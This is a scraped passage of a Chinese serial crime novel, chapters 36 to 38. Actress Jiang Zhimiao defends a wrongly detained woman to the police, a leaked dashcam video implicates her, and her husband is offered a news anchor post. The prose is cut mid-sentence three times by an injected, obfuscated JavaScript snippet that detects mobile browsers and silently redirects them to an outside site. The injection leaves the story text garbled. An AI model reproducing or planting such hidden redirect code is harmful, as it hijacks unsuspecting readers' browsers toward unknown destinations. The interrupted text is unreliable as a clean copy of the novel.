江知渺的头开始痛了起来,她的记忆隐隐约约停留在上午,那时候程薇柔明明把一切都和她说了,后面的事情她一概不知。只是,彻底昏睡前,程薇柔对她的内心剖白,让江知渺无论如何也不相信,她是想杀了自己。 “邵聿,这一定是有什么误会。她在哪儿,你带我过去,我们当面说清楚。”说着江知渺便要掀开被子下床。 “晚了。”邵聿偏过头,拿起一个苹果削皮。 “什么?”江知渺怔怔地问道,可邵聿始终低着头削苹果皮,不愿回答她的问题。 邵峥无奈地叹了口气,“我们已经把她移交给警方了,现在大概正在对她进行审讯吧。” 江知渺迷茫地看着他们两人,眉头紧蹙,身体连连向后退去,紧紧地贴着靠枕。药效的作用让她的头实在太疼太晕了,她不知道为什么所有人突然又默认程薇柔是罪魁祸首。 “我要去警察局。”她当机立断,推开邵聿的手臂,穿着病号服就往外冲。 “我的祖宗啊,你现在去做什么?”邵峥见邵聿无动于衷,急急忙忙上前阻拦,”柏霆宇死了,他的妻子程二囡却下落不明。好不容易出现,却是潜伏在你身边,谋划着要杀你!” “邵聿,你倒是好好劝劝知渺啊!”邵峥劝了这个劝那个,焦头烂额,急得额头冒出一层汗来。 终于,在江知渺拉开屋门的瞬间,邵聿冷冷地问道:“你要和警察说什么?说柏霆宇不是她杀的吗?” 江知渺应声停下脚步,她这才稍稍冷静下来,发现自己其实大脑一片空白,面对邵聿的质问她都答不上来,又怎么去回答警察的讯问? 邵聿把削好的苹果切成小块,规整地放入白瓷盘中,慢慢地走到她身后,用冰冷的播音腔说道:“别忘了,你们两人在警方眼中是嫌疑最大的。” “她谋杀你,人证物证俱在,身为柏霆宇的妻子,实在难以忍受丈夫的频繁出轨,激情杀人,杀害了柏霆宇和网红欣欣;同时,由于听信了网络上关于你和柏霆宇的绯闻,认为你也是破坏他们婚姻的第三者,于是以保洁员的身份埋伏在你的身边,企图寻机也将你杀害——这是目前警方、也是大众的普遍猜测。” 邵聿握住她的肩膀,强行将她转过身来,面对着自己,死死地盯着她的眼睛,一字一句地说道:“你现在去跟警察说,她不是杀害柏霆宇的凶手,就等于向警方承认:我才是真凶。” 江知渺的瞳孔陡然放大,严密的逻辑在她混沌的大脑里拧作一团,她想要抽丝剥茧找出线头,可是怎么也抓不住。 邵聿的声音充满了不容抗拒的说服力,仿佛自带权威,将她牢牢地包裹在“真相”之中。从他一丝不苟的表情中,找不出一点破绽。 不,不可能!她心知肚明,程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894804|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薇柔不是杀害柏霆宇的凶手,更没有要害她,怎么可能没有破绽? 她推开邵聿的手,一步步向后退去,直到完全退出病房,终于下定了决心,毅然转头,消失在邵聿的视线中。 她离开的瞬间,邵聿像是终于承受不住一般,双手颓然地抓住了头发,缓缓地倚住了门框。 有一句话,他始终没有对江知渺说出口:知渺,你知不知道,只有真凶才能够百分百确认,其他人不是凶手。 江知渺拦下一辆出租车直奔警局,吹着窗外的凉风,尽管依然头痛欲裂,但思绪清明了许多,她逐渐拾起了上午的记忆。 “你为什么要救我?”那是她第二次对程薇柔问出这个问题,第一次她在得到答案后落荒而逃。 这次,程薇柔的答案与第一次不同。她笑得几近凄惨,虽然是在笑,可声音却明显带着哭腔,“因为他一定会去救你。” 她的眼中突然淌下两行清泪,“如果他还活着,他一定会去救你,不顾自己的安危。” 当时江知渺的大脑已经处于安眠药的作用下,思绪还能正常思考,可身体却丝毫也动不了,只能勉强睁着眼睛,一动不动地盯着程薇柔,无力回应。 程薇柔释然地笑了起来,坐得离她更近了一些,让她以一个更舒服的姿势平躺在沙发上,头枕着自己的双腿。她柔声说道:“其实一开始我特别恨你。恨你分走了我的爱,恨你占据了我的位置,恨你和我争夺一个人。” “可后来,来到你的身边后,我才发现,你从来没有和我抢过他。” “我都要觉得他很可怜了,爱你爱得那么深,却从来没有得到过回应。就这样,他就死了。”程薇柔的尾音很轻,像在讲睡前故事,有一瞬间,江知渺甚至分不清她是在对自己说话,还是对着肚子里的孩子说话。 “知渺,你知道我是怎么发现你根本不爱他的吗?” 程薇柔轻笑道:“因为你做的,仅仅是没有看不起他。对于我们这样的人来说,能获得旁人的正视,就已经是天大的满足了。不过他并不知道,这对你来说根本不值一提。” 她的手温柔地拂过江知渺的发丝,顺滑的黑发瀑布般从掌心滑落,趁得发丝的主人脸色愈发苍白,看上去脆弱而破碎。 “姐姐,我理解他,所以我用自己的身体替你挡刀,为了他,也是为了我自己。” 程薇柔把江知渺安稳地放在沙发上,起身去向厨房,很快又走了回来。她的手里拿着一把锋利的料理刀,刀刃反射着冰冷的寒光,江知渺看得出,她是从架子上所有刀里选了一把最锋利的。 危险的光芒促使她本能地挣扎起来,她用尽全身的力气支撑着自己靠坐到沙发边缘,过于明显的动静引来程薇柔的关注,她先是不解地眨了眨眼,然后低头看向自己手中的刀,了然地笑了起来。 “姐姐,你不用害怕,这刀是要用在我身上的。” 轻飘飘的蝴蝶翅膀在江知渺大脑中引发一场海啸,她张了张嘴,发不出声音,只能支支吾吾地喊些毫无意义的气声。 “我不想再查下去了。我不想,再让人随便地点评我们的人生了。”程薇柔的语气骤然充满寒意,“这些年来,霆宇瞒了我很多事,我明白,他不愿意和旁人提起的事情,哪怕是死后也决不会想让人知道。” 她把料理刀搭在手腕上,如释重负地坐到江知渺身边,“所以,不管他有什么秘密,我都会帮他保守。关于他的调查,就到此为止吧。” 安眠药终于发挥到了最大浓度,江知渺再一次倒在了沙发上。彻底陷入昏沉的梦境前,程薇柔似乎最后看了她一眼,布满血丝的双眸中满是不舍和决绝。 36. 自证 一个猛烈的急刹车后,疾速行驶的出租车停靠在A市警局门口,江知渺潦草地裹了裹外套,快步冲进大门。 “您好,我找马政阳警官,请问他在哪里?” “诶,你不是那个……江知渺?” “是,是我,我有非常重要的事要告诉马警官,麻烦您告诉我他现在在哪儿。” “他在审讯室,不对啊,你不是进医院了吗,怎么这么快就出来了?哎哎,等等……” 江知渺飞快地说了句“谢谢”就冲向了她曾经关了一整夜的审讯区,却被值勤警察拦在外面,“办案区域,无关人员不得入内。” “我有重大线索要报告给马政阳警官,关于柏霆宇的案件,拜托您让我见他一面……” 可无论她怎么祈求,执勤警察都不允许她靠近。正当她准备硬闯进去的时候,周屹泽的身影突然出现在审讯室外的走廊里。 “姚哥,让她进来吧。”随着他的点头,江知渺终于跌跌撞撞地走进肃静的审讯区。 “程薇柔呢?她在哪儿?马警官在哪个房间讯问她?”她拦住周屹泽,语速飞快地问道。 周屹泽的神情异常严肃,小麦色皮肤上,立体的五官纠结地拧在一起,那双炯炯有神的眼睛带着深深的忧虑,似乎是在认真地观察着她的脸色。 “周屹泽,你快告诉我啊,他们到底在哪儿?”江知渺不理解他为何一言不发,她几乎歇斯底里的声音在走廊里回响,“柏霆宇不是程薇柔杀的!你们抓错人了!” 周屹泽随着她这句话而深深地屏住了呼吸,他的脸上并没有江知渺所预想的惊讶,她松开手,不受控地后退了几步,“你们已经知道了?” 她捕捉到周屹泽躲闪的目光,突然自嘲地笑了起来,“所以,把她控制起来,也是你们计划的一环?都是为了引我自己跳出来?” “知渺,我知道今天的事情对你来说很难接受,你的身体还没有完全恢复,不如先养好身体,等过几天我们再……” “不必了。”江知渺一步一步郑重地靠近他,沉下一口气,“我来换她,你们把她放了吧。” 良久的沉默让周屹泽备受煎熬,他无力直视江知渺不容反驳的目光,即使整件事他都并不赞同马政阳的做法,但过多的解释只会暴露他的心虚。 他明明答应了柯妙妙,要守护好江知渺的,为何事态还是走向了剑拔弩张的地步? 身后的门吱呀一声打开了,仿佛伸来救命稻草一般,马政阳的声音骤然响起,“江女士,请进。” 越过周屹泽身边时,江知渺宽大的病号服划过他的警服,细微的触碰让他肩膀一颤,直到进入审讯室,坐到她的对面,他依然不敢抬头直视她的眼睛。 “江女士,听同事说你有重要的线索要告诉我?”马政阳依旧笑得人畜无害。 江知渺平复了愤怒的呼吸,“马警官,我要说什么,您不是明知故问吗?” “江女士说笑了,我们也不过是从事实出发,进行合理且有证据的推测罢了。至于您具体要给我什么线索,还得您自己来说。” 江知渺一动不动地盯了他许久,再开口时,语调平静而舒缓,“程薇柔是无辜的,你们把她放了吧。” 马政阳挑了挑眉,签字笔在笔记本上飞速写下几个字,点着头说道:“她的不在场证明我们已经获得了,只是不知道您是因为什么才能说出,她是无辜的?” “今天上午,在我家,她是打算自杀,并没有要伤害我。” “可是据我们现场勘查,以及目击证人所说,她不仅给你下了安眠药,手里还拿着一把刀;她本人也向我们承认,一开始去片场接近你,是想要找机会杀掉你。” “那把刀是她打算用在自己身上的,安眠药是担心我会阻拦她。” 马政阳饶有兴趣地看着她,“哦?所以如果没有服下安眠药,你会阻止她自杀吗?” “为什么不?”江知渺坦然地迎上他的视线。 “如果我猜得没错,程薇柔自杀是为了终止对柏霆宇一案的调查,也就是说,她死了,你的嫌疑也就彻底洗清了。而且,正牌妻子情杀这个动机,听起来更有说服力。” 江知渺失声笑道:“难道马警官查案的标准是看谁的动机更有‘说服力’吗?”她身体前倾,冷冷地说道:“马警官,我想您可能是一直把我当成真凶,所以忘了,那我来提醒您一下:我没有杀人,我也不需要‘说服’任何人。” “真的吗?”马政阳丝毫没有尴尬,反而是掏出手机,打开相册,给她看了几张微博截图,“这些都是柏霆宇一案发生后与你解约的品牌,除此之外,还有三部电视剧宣布换角,两部无限期停拍,各大时尚活动也把你的名字从名单上划掉了。” 他如数家珍,随着他不断地说下去,江知渺的忍耐终于到达了极限,“马警官,您说这些是什么意思?按照您的说法,我根本没有必要跑来向你们证明程薇柔的清白,把一切嫌疑推到她的身上反而会让我获利。” “江女士真是聪明人,我正是这个意思。”马政阳收起手机,笑着说道。 “所以呢,您觉得我为什么要救她?”江知渺轻飘飘地问道。 只见马政阳阖上笔记本,又将一旁的录音设备关掉,停顿了几秒,才慢条斯理地开口:“因为你的良心不安。” “什么?”江知渺被他说糊涂了。 “江女士,接下来的谈话不作为正式调查记录的一部分,你不用有任何的心理负担,我们也不会因为你接下来所说的话而影响整个案件的侦查。但,下一次谈及这一话题时,我们将正式纳入侦查的范围,录制口供。所以今天,请你和我们说实话。” 马政阳一口气说完这一大段话,面色一反常态地正式和严肃,狭小的审讯室都因此而逼仄起来,江知渺迷茫地望着他和周屹泽,他们都是同样的正襟危坐,似乎暴雨将至。 她点了点头,示意他继续说下去。马政阳的声音陡然变得低沉幽深,“我们调查了你的家庭情况,你出生于Y省的一个小县城,父亲是当地的维修工人,母亲是全职主妇,你还有一个弟弟,在五年前因为车祸意外身亡了。” 他的声音似乎都因为这些沉重的内容而苍老了几分,仿佛从洞窟中传来一样,暗哑的嗓音如同锯子刺耳的噪音,让江知渺无比渴望捂住耳朵。 但她已经被马政阳的话死死地钉在椅子上,全身的温度迅速褪去,冰凉的四肢几乎失去知觉,她甚至感受不到自己的皮肤,无法确定自己有没有流泪。 “你的家庭背景与柏霆宇和程薇柔很相似,从你不惜提升自己的嫌疑还她清白来看,单是她曾经帮你挡下一刀这个理由,我想并不足以让人信服。或许,相似的成长与家庭环境,才是你对她报以极大善意的原因吧。” 江知渺不愿再面对他探究的眼神,转而去看周屹泽,感受到她的目光,周屹泽猛地将视线移开了,然而他那硬朗的眉骨上方快要拧成麻花的宽眉,还是暴露了他内心的纠结。 原来是为了和她说这些啊,江知渺突然觉得自己很傻,她原以为警方把程薇柔抓起来是为了把自己钓出来,利用她对程薇柔的感激,逼迫她担下最大嫌疑。 然而她猜错了,甚至错得离谱,马政阳寥寥几句话就把她的家庭背景说得一清二楚,显然这才是他们的目的。行至此处,她再怎么否认也是徒劳,剩下的只有苍白无力的狡辩。 江知渺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907193|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想再为自己辩解了,她深吸一口气,桌下的双手紧紧地绞在一起,开口时调动了仅剩的全部勇气,她说:“马警官,您说的都对,只是有一点猜错了:我不是因为同情才来救她,换作任何一个无辜之人被冤枉,我都会来。” 她微微偏过头,视线笔直地抓住周屹泽的眼睛,“因为我知道,至亲之人不明不白地蒙冤,他的家人会有多么痛不欲生。” 九年前的冬天,南方连续下了一周的雨,雨雾笼罩在W城火车站上空,清晨厚重的雾气之中,火车站内一片宁静。 突然,自那雾气中传来一声尖锐的喊叫:“有人卧轨了!!!” 随后,绿皮火车响亮的鸣笛声呼啸而过,一切归于平静之后,一个二十上下的年轻男孩跪在站台上哭得撕心裂肺,他的身后,一位清瘦的年轻女孩正拼了命地向他跑过来。 女孩蹲到他的身边,将他抱进怀中,“别看,周屹泽,别往下看……” 马政阳沉默着站起身来,打开审讯室的大门,对着江知渺说道:“江女士,你可以离开了。” 他沙哑的嗓音把江知渺从回忆里拉了出来,她茫然地望向他,“不是应该把我正式拘留吗?” 马政阳摇了摇头,又挂起了极具迷惑性的和蔼笑容,“综合考虑你的个人情况,以及你今天的行动,我们一致认为,在没有其他证据的情况下,你的嫌疑接近于零。” “江女士,再见,希望这是我们最后一次见面。” 走出警察局,江知渺仍有一种强烈的不真实感。藏得太久,反而真相才失了真。她隐藏多年的秘密就这样被人明晃晃地摆到了面前,却一带而过,她又站在了自己编织的谎言里。 周屹泽送她走到大门口,注意到她身上的病号服,主动打破了沉默:“我送你回医院吧。” 江知渺回想起自己离开时邵聿和邵峥强烈的阻拦,还是摇了摇头,说道:“就送到这里吧,我自己打车回去就行。” 出租车停靠在他们面前,周屹泽替她拉开车门,江知渺犹豫了一下,没有立刻坐上车,而是转过身来面对着他,想要说些什么。 她与周屹泽对视了许久,也没有想好自己该说什么。说你父亲的事情请节哀?这句话早在九年前她就说过了。说你放心你父亲的案子总有一天会水落石出?可她自己的家人枉死至今都没能抓住真凶,又有什么立场来安慰他呢。 最后她只是轻轻拍了拍他的手臂,无言地坐上出租车后座,车窗缓缓落下,周屹泽笑着和她挥手,发动机启动的瞬间,梁栖月的微信消息和电话便同时到来了。 她接通电话,打开免提,同时点进梁栖月的对话框,看到她发来了一段视频。 “知渺,有人匿名在网上发布了一段VeilMansion车库的监控视频。”江知渺听她说着,同时开始播放视频。 熟悉的VeilMansion车库映入眼帘,视频的拍摄角度大约一人高,视野有限,看上去像是行车记录仪的监控画面。 视频的前十秒完全像是定格画面,第十一秒开始,一个女人的身影才匆匆闯入了镜头。 “那个人说,视频里拍到的人,是你。” 女人穿着一袭艳丽的红裙,用尽全力向前奔跑,险些摔倒在地,踉踉跄跄,还不时回头查看着什么。短暂暴露在摄像头前的正脸上,红唇微张,呼吸急促,眉眼紧蹙,一幅极其慌乱紧张的模样。 江知渺的手一抖,手机悄然滚落到脚边。她没有去捡,而是抬起头望向窗外的周屹泽,只见他也从屏幕上缓缓抬起头来,震惊地瞪大了眼睛。 他的身后,远远地传来一阵急促的脚步声,伴随着马政阳的声音:“小周,拦住她!” 37. 应战 “杨律,办公室里有客人在等您。” 杨灝冲秘书摆了摆手,“我知道。” “需要准备茶水吗?” “不用。”杨灝推开办公室厚重的木门,顿了顿,回头对秘书嘱咐说:“不要让任何人靠近。” 木门落锁的一刹那,邵聿怒气冲冲地走到他面前,质问道:“为什么要把视频泄露到网上?” 杨灝拿起一瓶矿泉水,递到他面前,见邵聿不接,无奈地叹了口气,“如果我说,是有人偷偷进入我的办公室,盗走了那段监控视频,你能够相信吗?” “偷?堂堂君泽律师事务所,还会放进来小偷?” 杨灝拉开椅子,请他先坐了下来,自己来到办公桌前,拉开抽屉,拿出之前邵聿给他的硬盘,“邵先生,假如行车记录仪的视频不是从你这边流出去的……” “不可能是我!”邵聿坚决地打断了他。 “那就说明,有人进入我的办公室,拷贝了这份监控视频。” 邵聿轻蔑地冷笑一声,“难道不是你把视频给了李璟意吗?” 杨灝的神情骤然凝重起来,周身弥漫起一阵冷气,他严肃地回应道:“邵先生,如此重要的视频从我这里流出,我非常抱歉。但是,我尊重邵先生对您妻子的保护,也请您不要怀疑我和我妻子的职业道德。” 邵聿狐疑地打量着他,杨灝毫不心虚,坦然迎着他的审视。良久,邵聿沉声道:“警察那边怎么说?” “我刚才去警察局,把江女士接了出来。警方此前也曾获得过地下车库门卫在消防警铃响起后的证词,但那份证词的效力并没有行车记录仪视频的效力强。不过你放心,仅仅依据一段没有上下文的网络视频,并不能对她采取强制措施。” “那她呢?她还好吗?”邵聿的语气缓和了不少。 “江女士非常坚强,面对警方的讯问,仍然坚持之前的说法。”听到这里,邵聿松了一口气,杨灝继续说道:“不过她也问过我是否了解这段视频的来源,我没有正面回答。是否向她告知,我想听听邵先生你的想法。” “不能告诉她!” 邵聿毫不犹豫的拒绝让杨灝有些惊讶,他问道:“为什么?如果真凶另有其人,那么此事明显是真凶所为,将杀害柏霆宇的嫌疑全部推到她的头上。若是不让她知晓,以后恐怕还会有更大的麻烦,或许她还可以根据此事给我们提供一些线索。” 杨灝从未见过邵聿如此犹豫不决,上次短短的会面,他还惊叹于邵聿的沉着冷静,现在这个眉头紧蹙,手指无意识地捏紧水瓶的男人,明显有些沉不住气了。 他静静地等待着邵聿的答案,过了很久,邵聿的嗓音变得低沉暗哑,他说:“这份行车记录仪视频,是你去地下车库调查后获得的,请不要告诉她我也在那里,更不要让她知道视频来源于我。” 杨灝努力消化着他遮遮掩掩的决定,点了点头,“好,我会跟所里申请调取监控视频,查找潜入办公室的人。只是,涉及律所的来往人员与商业秘密,抱歉不能向你们二位提供。” “谢谢,有任何线索,务必第一时间告知于我。”邵聿垂眼道,“警方如果……传讯知渺,还请你多多费心。” “应该的,这是我的职责。”目送邵聿乘电梯离开,杨灝立刻换上一幅冰冷的面孔,走到秘书的办公桌面前,双眸的凉意让人不寒而栗。 中心医院VIP病房内,江知渺脱下病号服,换上梁栖月给她带来的私服。门口忽地传来一阵跳脱轻盈的脚步声,紧接着门就被“砰”地推开了,巨大的力气差点把门把手都卸下来。 “有人要害你啊——”柯妙妙拉着长音,冲她们俩喊道。 江知渺和梁栖月愣愣地对视了一眼,忍不住同时笑出了声。柯妙妙大剌剌地挽起宽松的工装外套衣袖,恨铁不成钢地说道:“你俩还笑!这人还没迈出医院呢,就要被人冤成杀人凶手了!” 江知渺把包往她怀里一塞,捂着头说道:“哎呦,本病人的头好疼啊,你就饶了我吧……” 梁栖月没好气地推了她一下,“别装了,胃也洗了检查也做完了,我是因为在医院怕隔墙有耳才没问你怎么回事,正好妙妙来了,说说吧?” 见躲不过去了,江知渺只好任由她俩将她推坐到沙发上,而这两个人像两座大山一样,伫立在她的面前。 “我真没杀人……”她弱弱地说道。 “谁问你这个了?”梁栖月“啧”了一声,“监控视频是谁拍的、谁发的,你有想法了不?” 江知渺摇了摇头,“当时消防警报响了,我走得急,也没注意停车场里的车。至于是谁发到网上的……”她的目光突然变得凌厉起来,“只有一种可能性。” 她们交换了眼神,异口同声道:“真凶。” “不管他是谁——”江知渺站起身来,犀利的目光如长剑般挥向窗外,“我都要把他找出来。” 誓言落地有声,令人心悸的沉默后,柯妙妙开口打破了寂静:“你想好了吗?警方的调查都这么困难,你千万要小心。” 江知渺收起了严肃的面孔,冲她温柔地弯起眉眼,“放心,我知道这很难,毕竟我在明,他在暗。” 她加深了笑意,天然精致的面庞更加明媚,也更具攻击性。她长长的睫毛弯成两道小扇,慵懒随意地向她们两人眨了眨,“不过,既然对面已经向我宣战了,我怎么能坐以待毙呢?” 柯妙妙忧心地扣着手指,从大学起,江知渺便是她们寝室里最有志气也最有能力的,在这方面她丝毫不担心。只是江知渺的倔强也是三个人里最难以扭转的,一旦是她下定决心要做的事,无论付出多大的代价,她都会拼命做到。 她长长地叹了一口气,拉住江知渺的手,轻轻摩挲,“好吧,我们也劝不了你。说吧,你需要我们怎么帮你?” 江知渺一手挽住一人的臂弯,软下嗓音,“我就知道你们一定会帮我的。” 梁栖月翻了个白眼,笑道:“嘁,还不是怕你被警察抓进去,姐姐我会失业,妙妙那边也会损失一个重要的圈内人脉。” “好好好,那就谢谢你们了。”说完,江知渺脸上的笑容渐渐消失,她正色道:“我能掌握的线索,只有网上的这个视频,现在唯一能做的,就是找到视频的源头。” 话音未落,她的手机就响起了来电铃声,江知渺看到屏幕上“杨灝律师”的备注,马上接通了:“喂,杨律师。” “江女士,您好,关于监控视频的来源,我想我这边已经找到了。” 江知渺立即将听筒转换成免提,杨灝接下来的话,让她们三个人都大吃一惊:“我在调查此案时,曾经从VeilMansion地下车库中一辆车的车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919406|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主手中,取得了案发当晚的监控视频,也就是您在网络上看到的这个。” “经过所里的监控排查,昨天凌晨曾有一黑衣男子潜入我的办公室,拷贝了这份监控视频。我推测应当就是这名黑衣男子在网络上进行了传播。” 江知渺看着梁栖月平板上播放的视频,问道:“杨律师,你的意思是,这个视频是从你手中流出去的?” “是的,非常抱歉,江女士。”杨灝深吸了一口气,“重要证据被窃,君泽和我本人都有脱不开的责任。” “你为什么从来没和我说过你还有案发当时车库的监控视频?” “这段监控是与本案无关之人的行车记录仪拍下的,且只是地下车库,并不是案发现场,对凶手的身份不具有直接的证明力……” “杨律师,我记得我们签订委托协议之后,你曾经非常详细地问过我,案发当天的行动轨迹,尤其是我在酒店内是否遇到过什么人。”江知渺顿了片刻,等他回忆起那时的对话,就继续问道:“当时你就已经掌握了这个视频吧?” 杨灝的沉默给了她答案,她忽然觉得一切都变得很荒谬,原来她极尽真诚的话,连自己的律师都不相信,而是用自由心证为她扣上了嫌疑的帽子,自顾自地帮她隐瞒起“罪证”来。 “江女士,抱歉,是我工作上的失误,我们会竭尽全力弥补您受到的误解,寻找盗取视频之人。”杨灝回避了她的问题,声音听起来有些沉重和疲惫。 “好啊。”江知渺冷冷地说道:“我也在寻找发布视频的人,请你把你们所里的监控复制一份发给我。” “因为律所的监控涉及其他客户的个人隐私,非常抱歉,我没法……” “那如果是你们律所里的人监守自盗呢?”江知渺陡然抬高音量,毫不客气地打断他。 杨灝的呼吸声变得急促起来,他显然是没有料到江知渺会怀疑这一点,回答中带上了几分犹疑:“江女士您放心,君泽的几位高级合伙人均已得知此事,下令所里开展全面排查,我也会主导此次的调查,保证不会出现遗漏。” 江知渺还想再与他争取,柯妙妙在一旁拉了拉她的衣角,示意她不用继续说了。她迅速挂掉电话,问道:“你有办法弄到监控?” 只见她打了个响指,在手机上飞速地敲击了几句话,然后拍了拍江知渺的肩膀,“放心吧,还没有我柯妙妙搞不到的东西。” 很快,她招招手,让她们两人凑过来,小声说道:“何之晏也是君泽的客户,我呢,刚好不小心拍到她和君泽的一个新晋合伙人住在同一个小区、同一个单元、同一户……” “天呐!”梁栖月发出一声尖叫,痛心疾首地说道:“那她经纪人可有的忙了。” “你还感同身受上了?”柯妙妙轻轻打了一下她的手臂,“我又没给她曝光,也不跟她要钱,只是要来了君泽昨天的监控视频,已经很有职业道德了!” 梁栖月双手合十,“阿弥陀佛,你“狗仔何勇”的大名可是无人不知无人不晓,幸好幸好,你跟我们是一边的。” “什么何勇,那都是骗骗外人的,私底下这么叫我,我可要生气了啊。”感受到手机的震动,柯妙妙看了眼屏幕,轻笑道:“不愧是君泽,办事效率就是快啊。” 说完,她骄傲地挥了挥邮箱界面,“喏,监控视频来了,走吧。” 38. 竞争 刘恪辰正戴着头戴式耳机,哼着小曲,翻阅论坛上观众对于《钩沉》第三季一边倒的赞美之词,隐隐约约之间,忽然感受到办公室内的气氛变得不对劲,似乎还有人在小声地窃窃私语。他向身旁瞥了一眼,正好撞见邵聿往工位走过来。 “聿、聿、聿哥,你……你怎么这么快就回来了?”刘恪辰迅速摘掉耳机,藏在背后,乖巧地站起来,帮他把椅子拉出来。 “准备准备,十五分钟后,剪辑室。”邵聿把包放下,看了眼手机,转身走进赵咏诚主任的办公室。 “哎,小辰辰,知不知道赵主任找你们家邵主持是什么事啊?”邵聿前脚刚走,后脚许多同事就围了过来。 “啊?”刘恪辰与一张张好奇的脸面面相觑,“我不知道啊,赵主任找聿哥?” “据说不止是赵主任。”有同事伸出食指向上指了指,“台长也在。” “台长也在赵主任办公室里?”刘恪辰惊呼道,突然意识到不对,赶紧捂住嘴,小声抱怨起来,“台长什么时候来的,你们也不通知我一声,太不够意思了吧?” “聿哥他夫人那个视频发出来没多久,台长就找过来了吧,你当时去上厕所了估计不知道。” “视频?什么视频?” “你还不知道?网上现在都已经传疯了!说那是江知渺杀完人逃跑的时候,刚好经过停车场里一辆常年停放的车,行车记录仪把她全都拍下来了。” 刘恪辰拿起手机,发现锁屏满满当当弹了一屏的新闻弹窗,随意点进一个看了看,顿时震惊地瞪大了眼睛。 同事们七嘴八舌地讨论起来:“你们说,是真的吗?” “我看八成是真的,不然怎么连台长都惊动了。” “……也不一定吧,现在AI技术那么发达,几个月之前不就发生过一次Deepfake事件吗,当时被换脸的刚好是江知渺。” “这段视频明显不是合成的啊,要是用AI合成的,为什么正脸出现的时间那么短,还弄得那么模糊……” 综合部负责人赵咏诚主任的办公室内,他与台长、副台长早早地就在里面等待邵聿到来。邵聿推开门后,迎面撞上了他们三人铁青的面庞。 “台长、副台长、主任。”邵聿一一向他们问好鞠躬,坐到他们对面。 “听说你是连夜从N省开车赶回来的?回家休息了吗?”在他坐下之后,赵主任的脸色还是柔和了下来,关切道。 “刚才回家洗了个澡,换了一身衣服。” “你夫人怎么样?身体还好吗?” 柏霆宇正牌妻子露面,谋杀江知渺未遂的消息早已在网络上迅速发酵,邵聿倒也不惊讶他们知道江知渺进医院的消息。 他微微扬起嘴角,笑着回道:“多谢领导关心,她的身体没有什么大碍,已经出院了。” 赵主任紧跟着想要问出下一个问题,可话到嘴边突然犹豫起来,他避开邵聿的目光,和身旁两位始终一言未发的领导交换了一个眼神,得到他们的首肯后,叹息道:“邵聿,我们知道,为了《钩沉》,你一直都非常认真负责,你的努力我们都看在眼里……” 听到这里,邵聿心底坠了一下,《钩沉》第三季大获成功,早在收官节目后的第二天,台里就举办过庆功宴了,领导层也向他表示过祝贺和肯定,此时突然提及,很难不让他联想到这段时间以来围绕江知渺的舆论。 “几位领导,不好意思,我想解释一下,关于网络上流传的那段监控视频……” “关于那段监控视频”,始终保持着沉默的台长突然开口了,“你是想说,那并不能证明人是她杀的,对吗?” 邵聿愣了愣,试图从台长老成稳重的双眼中读出他的所思所想,然而却失败了。台长继续说道:“邵聿,你以为,只有你才懂得什么是新闻吗?” “‘新闻者,乃多数阅者所注意之最近事实也’。我问你,在柏某会所身亡案中,何为事实?” 台长一丝不苟的语气,让邵聿产生一种错觉,好像回到了进入国立电视台的那场面试,他不由得认真起来,仔细思考着台长的问题,恍然发现自己对“柏某会所身亡案”这几个字格外陌生。 无数琐碎的片段缠绕在他的脑海中,让他抓不住那个唯一重要的主线。 他蓦然明白了台长的用意,在这个案件中,唯有柏霆宇的死亡本身才算作事实的范畴。在法官落下法槌宣告本案结果之前,孤立的证词、零星的证人、散乱的线索,这一切都只停留在猜测的层面,从来不能算作“新闻”所讲求的“事实”。 作为一个电视台人、一个新闻人,他们要讲的只有事实,也只能是事实。一切经过人为思想加工的内容,都有被主观性所影响的嫌疑,从而失去了新闻的客观性。 而这一点,正是他所遗忘的。 或许是关心则乱,不知从哪一天起,他就在拼命地想要证明“江知渺不是真凶”。无论是远赴N省寻找程薇柔的下落,还是主动就地下车库监控视频向台长他们辩白,他早已远离了“事实”本身,也因此深陷其中,忽视了一个最重要的问题:人是否有义务自证清白。 邵聿松了一口气,重新振作起来,起身向他们深深地鞠了一躬,诚恳地说道:“抱歉,是我太沉不住气了。” 台长欣慰地点了点头,爽朗地笑了起来,“对嘛,这才是我们认识的那个邵聿!” 邵聿有些不好意思,他坐回椅子上,看向赵主任,“主任,对不起刚刚打断了您的话,您原本想要说什么?” 副台长从办公桌另一侧走到他身边,递给他一张A4纸,“你看看这个?” 薄薄的打印纸正上方,赫然印着三个大字:“委任书?”邵聿诧异地念道。 “你应该也知道,佟哥今年年底要退休了,他走之后,每晚六点至七点新闻时段的主播席,就会空出来。”副台长一边说,一边观察他的反应,“我们研究之后,决定从你和李璟意之间选择一个人,坐上那个位置。” 